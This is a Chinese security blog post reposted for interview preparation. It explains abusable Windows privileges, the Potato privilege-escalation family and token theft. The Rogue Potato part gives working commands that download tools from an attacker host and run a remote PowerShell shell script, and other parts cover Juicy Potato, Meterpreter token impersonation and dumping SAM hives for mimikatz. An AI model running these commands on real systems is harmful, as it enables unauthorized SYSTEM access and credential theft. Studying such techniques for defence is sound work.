Web安全 | 本地提权初探

admin 2022年6月10日10:48:35评论268 views字数 6803阅读22分40秒阅读模式
Web安全 | 本地提权初探

点击上方“蓝字”,关注更多精彩



Web安全 | 本地提权初探

前言


大家好哇!现在这段时间,经过hvv一面的小伙伴也开始准备厂商的二面了,于是我"缝合"了大量有关于windows系列的本地提权面试的相关问题,并且做了一些整理分享给大家!希望大家面试和入门顺利!



Web安全 | 本地提权初探

提权基础原理

九大权限是什么?

答:答案如下图所示
权限 描述
SeImpersonatePrivilege 身份验证后模拟客户端
SeAssignPrimaryTokenPrivilege 替换一个进程级令牌
SeTcbPrivilege 以操作系统方式执行
SeBackupPrivilege 备份文件和目录
SeRestorePrivilege 还原文件和目录
SeCreateTokenPrivilege 创建令牌对象
SeLoadDriverPrivilege 加载和卸载设备驱动程序
SeTakeOwnershipPrivilege 取得文件或其他对象的所有权
SeDebugPrivilege 调试程序


"烂土豆"是什么?

答:它是通过欺骗 “NT AUTHORITYSYSTEM”账户通过NTLM认证到我们控制的TCP终端;接着对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITYSYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的;只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌(一般大多数的服务型账户,例如:IIS、MSSQL....具有该权限,大多数用户级别的账户没有该权限)

补充:烂土豆(Rotten Potato) MS16-075提权是一个本地提权,只针对本地用户,不支持域用户


"烂土豆"的前提条件是什么?

答:通过烂土豆提权的重点是模拟令牌,在提权的过程中,我们最好已经获得了一个具有SeImpersonate权限或其他同等权限的账户,通常Windows中的许多服务具有此权限(IIS和SQL Server.....)

补充:IIS或SQL Server的用户通常具有SeImpersonatePrivilegeSeAssignPrimaryPrivilege权限;Backup service用户通常具有SeBackupPrivilegeSeRestorePrivilege权限

"烂土豆"的优点是什么?

  1. 不会存在无法利用的情况

  2. Win系统全版本通杀

  3. 提权速度快,不用像hot potato那样有时候需要等Windows更新才能使用

BITS是什么?

答:BITS(后台智能传送服务)是一个Windows组件,它可以在前台或后台异步传输文件,为保证其他网络应用程序获得响应而调整传输速度,并在重新启动计算机或重新建立网络连接之后自动恢复文件传输

补充:系统管理员可以通过BITS从HTTP Web服务器和SMB文件共享下载与上传文件;关键是BIT实现了IMarshal接口并允许代理声明强制NTLM身份验证

CLSID密钥是什么?

答:CLSID是标识COM类对象的全局唯一标识符。如果服务器或容器允许链接到其嵌入对象,则需要为每个支持的对象类注册一个CLSID




Web安全 | 本地提权初探

Win九大权限解析



SeImpersonatePrivilege

  1. 管理员或者本地的服务账户

  2. 由服务控制管理器启动的服务

  3. 由组件对象模型 (COM) 基础结构启动的并配置为在特定帐户下运行的COM服务器

  4. IIS与SqlServer用户

如果攻击者获得了该系统的权限时,就代表了我们可以通过token窃取实现降权或提权;即盗取当前计算机上的其他令牌供攻击者使用

利用思路

  • 利用NTLM Relay to Local Negotiation获得System用户的Token 可使用开源工具Rotten Potato、lonelypotato或者Juicy Potato

  • 通过WinAPI CreateProcessWithToken创建新进程,传入System用户的Token 具有SeImpersonatePrivilege权限才能创建成功

  • 该Token具有System权限

SeAssignPrimaryTokenPrivilege

  1. 利用NTLM Relay to Local Negotiation获得System用户的Token

  2. 通过WinAPI CreateProcess创建一个挂起的新进程,参数设置为CREATE_SUSPENDED

  3. 通过WinAPI NtSetInformationProcess将新进程的Token替换为System用户的Token

  4. 该Token具有System权限

利用原理:跟SeImpersonatePrivilege权限的利用原理类似,都是通过NTLM Relay to Local Negotiation来获取system权限的token,区别是获取token后利用system权限的token创建新的进程,如果开启SeImpersonate权限,调用CreateProcessWithToken,传入System权限的Token,创建的进程为System权限,或者如果开启SeAssignPrimaryToken权限,调用CreateProcessAsUser,传入System权限的Token,创建的进程为System权限。

利用场景:拿到iis或者sqlserver用户的权限,使用juicypotato工具进行提权到system

SeTcbPrivilege

如果攻击者获得了该系统的权限时,就相当于获得了该系统的最高权限....

攻击方法:

调用LsaLogonUser(创建交互式登录会话)获得Token

将该Token添加至Local System account组(核心的,本地系统帐户)

利用该Token赋予的System权限

SeBackupPrivilege

  1. backup service

  2. 管理员

如果攻击者获得了该系统的权限时,读取注册表中HKEY_LOCAL_MACHINESAMHKEY_LOCAL_MACHINESECURITYHKEY_LOCAL_MACHINESYSTEM文件,然后放在mimikatz里面进行破解得到密码;mimikatz命令:SAM文件获取与解密

补充:这个权限用来实现备份操作,对当前系统任意文件具有读权限

SeRestorePrivilege

如果攻击者获得了该系统的权限时(即写入权限),参考映像劫持

补充:不过在win10中不能用

SeCreateTokenPrivilege

攻击方法

  1. 通过WinAPI ZwCreateToken创建Primary Token

  2. 将Token添加至local administrator组

  3. 该Token具有System权限

如果攻击者获得了该系统的权限时,可以创建windows令牌或者说token,win10中一般用户没有这个权限

SeLoadDriverPrivilege

攻击方法

  1. 加载驱动文件Capcom.sys

  2. Capcom.sys存在漏洞,系统加载后,可从普通用户权限提升至System权限;利用代码链接

  3. 获得System权限


SeTakeOwnershipPrivilege

原理:与SeRestorePrivilege相同,对系统上的任何文件具有写的权限

利用思路

方案一

获得SeTakeOwnershipPrivilege权限,修改注册表HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options

劫持exe文件的启动

实现提权或是作为后门

方案二

获得SeTakeOwnershipPrivilege权限,向任意路径写入dll文件

实现dll劫持

实现提权或是作为后门

SeDebugPrivilege

攻击方法

  1. 找到system权限的进程

  2. dll注入

  3. 获得权限

如果攻击者获得了该系统的权限时,可以实现dll注入的目的

参考:资料




Web安全 | 本地提权初探

"烂土豆"提权

MSF-烂土豆

工具链接:GitHub地址

上传烂土豆到靶机上,通过msf获取meterpreter 查看是否具有Selmpersonate权限

meterpreter > getprivs

#或者服务器的cmd下键入以下命令 whoami /all whoami /priv

再使用incognito执行烂土豆,欺骗得到system令牌

use incognito list_tokens -u execute -cH -f c:wmpubpotato.exe

通过MSF令牌模拟system的令牌

meterpreter > execute -f potato.exe -Hc meterpreter > list_tokens -u

impersonate_token "NT AUTHORITYSYSTEM"(模拟成功即可使用)

juicy potato-多汁土豆

影响版本:juicy potato适用<Win 10(部分版本)和Windows Server 2019

工具链接:GitHub地址

whoami /all whoami priv

//查看本地用户的权限,是否具有SeImpersonateSeAssignPrimaryToken权限

netstat -abno//查看RPC默认端口是否为135

C:wmpubJuicyPotato.exe -t t -p c:windowssystem32cmd.exe -l 1111 -c {CLSID}//不同操作系统选择可用的CLSID

如果该提权成功,即可获得system权限的shell,之后就是打开任务管理器,关闭explore任务后,再次开启explore任务得到一个system权限的桌面

补充

如果开启SeImpersonate权限,juicypotato的参数可以使用-t t 如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u 如果均开启,可以选择-t * 如果均未开启,那么无法提权。

若rpc服务被修改,则使用-n 参数指定修改后的端口,如 -n 111

netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow//添加防火墙规则,允许135端口入站

Rotten Potato

工具链接:GitHub地址

影响版本:Rotten Potato适用<Win 10(部分版本)和Win Server 19版本

原理

1.通过NT AUTHORITY/SYSTEM运行的RPC将尝试通过CoGetInstanceFromIStorage API调用向我们的本地代理进行身份验证

2.135 端口的RPC将用于回复第一个RPC正在执行的所有请求充当模板

3.AcceptSecurityContextAPI调用以在本地模拟NT AUTHORITY/SYSTEM

攻击流程

  1. 首先使用CoGetInstanceFromIStorage API接口调用欺骗RPC(远程过程调用);对代理进行身份验证.在此调用中指定了代理 IP/端口

  2. 通过RPC向代理发送NTLM协商包(协商包被修改为强制本地身份验证)

  3. 代理依赖的NTLM协商到RPC在端口135被用作模板;同时开始执行对AcceptSecurityContext的调用以强制进行本地身份验证

  4. 通过RPC 135AcceptSecurityContext用NTLM Challenge回复

  5. 将两个数据包的内容混合以匹配本地协商并转发到RPC

  6. RPC使用发送到AcceptSecurityContext(Relay NTLM Auth)的NLTM Auth包进行响应,开始执行模拟NT AUTHORITY/SYSTEM

Rogue Potato

工具链接GitHub地址

影响版本:Rogue Potato版本>= Win 10(部分版本)和Win Server 19

原理

Rogue Potato通过指定远程 IP(攻击者 IP)指示 DCOM 服务器执行远程 OXID 查询在远程 IP 上,设置一个"socat"侦听器,用于将 OXID 解析请求重定向到一个假的OXID RPC 服务器伪造的OXID RPC 服务器实现了ResolveOxid2服务器过程;该过程将指向受控命名管道[ncacn_np:localhost/pipe/roguepotato[pipeepmapper]DCOM 服务器将连接到 RPC 服务器以执行IRemUnkown2接口调用。通过连接到命名管道,将执行"身份验证回调",我们可以通过 RpcImpersonateClient()调用模拟调用者;

然后,令牌窃取者可以进行如下步骤;

1.获取rpcss服务的PID; 
2.打开进程,列出所有句柄,并为每个句柄尝试复制它并获取句柄类型; 
3.如果句柄类型为"Token"且令牌所有者为 SYSTEM,通过尝试CreatProcessAsUser()或CreateProcessWithToken()模拟并启动进程;

补充:当我们运行RoguePotato.exe,我们可以让它在本地机器上启动该服务,或者我们可以在自己控制的 Windows 机器上启动它并让它到达那里如果我想在本地机器上使用解析器,我需要在我的机器上创建一个隧道,该隧道在TCP 135上接收并重定向回目标主机上的解析器

1.powershell.exe (new-object net.webclient).downloadfile('http://主机IP:端口/RoguePotato.exe', 'C:tmpRoguePotato.exe')powershell.exe (new-object net.webclient).downloadfile('http://主机IP:端口/RogueOxidResolver.exe', 'C:tmpRogueOxidResolver.exe')

2..RoguePotato.exe -r 主机IP -c "{B91D5831-B1BD-4608-8198-D72E155020F7}" -e "powershell -c iex( iwr http://主机IP:端口/shell.ps1 -UseBasicParsing )" -l 9999

3.echo "IEX( IWR http://主机IP:端口/shell1.ps1 -UseBasicParsing)" | iconv -t utf-16le|base64 -w 0

4..RoguePotato.exe -r 1主机IP -e "cmd.exe /c powershell -EncodedCommand Base64加密" -l 9999//无法直接使用powershell命令执行上传shell,所以需要转换为base64值进行提权

hot potato

工具链接GitHub地址

影响版本:hot potato适用=Win7、8、10、Server 08和Server 12

漏洞利用原理

1.本地NBNS Spoofer:冒充名称解析,强制系统下载恶意WAPD配置

2.伪造WPAD代理服务器:部署malicios WAPD配置,强制系统进行NTLM认证

3.HTTP ->SMB NTLM中继:将WAPD NTLM令牌中继到SMB服务以创建提升的进程


Lovely Potato

Lonely Potato是Rotten Potato的改编版,不依赖meterpreter和Decoder制作的"隐身"模块



Web安全 | 本地提权初探

Token窃取之降权与提权



windows中Token有两种:

  • Delegation Token(授权令牌):用于交互会话登录

  • Impersonation Token(模拟令牌):用于非交互登录

当我们拿到一台主机进行Token提权的时候,可以查看目标主机是否具有高权限用户的Token,如果有的话就有可能直接提权到Administrator权限;

我们可以通过Incognito工具来对Token进行提权与降权的攻击;使用命令如下图所示:

提权命令

incognito.exe list_tokens -u
incognito.exe execute -c "NT AUTHORITYSYSTEM" cmd.exe

降权命令

incognito.exe list_tokens -u
incognito.exe execute -c "DESKTOP-RMP8TTTtest" cmd.exe

参考文章:地址链接




Web安全 | 本地提权初探

小结



这次的分享就到此为止了,下次给大家介绍Linux系统的提权方法。eg:脏牛提权,内核提权,SUID提权,sudo提权.....希望大家可以学到东西,共同进步!

作者:面包and牛奶 本篇文章转载自Freebuf原文地址:https://www.freebuf.com/articles/web/335500.html




Web安全 | 本地提权初探

END

Web安全 | 本地提权初探


• 往期精选

Web安全 | 本地提权初探
Web安全 | 本地提权初探

钓鱼邮件那些事之word文档的密秘

基于Linux系统下的入侵排查

基础知识篇 |  浅析跨域资源共享协议相关安全问题(下)

基础知识篇 | 应急响应之中间件漏洞



原文始发于微信公众号(格物安全):Web安全 | 本地提权初探

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月10日10:48:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Web安全 | 本地提权初探http://cn-sec.com/archives/1096468.html

发表评论

匿名网友 填写信息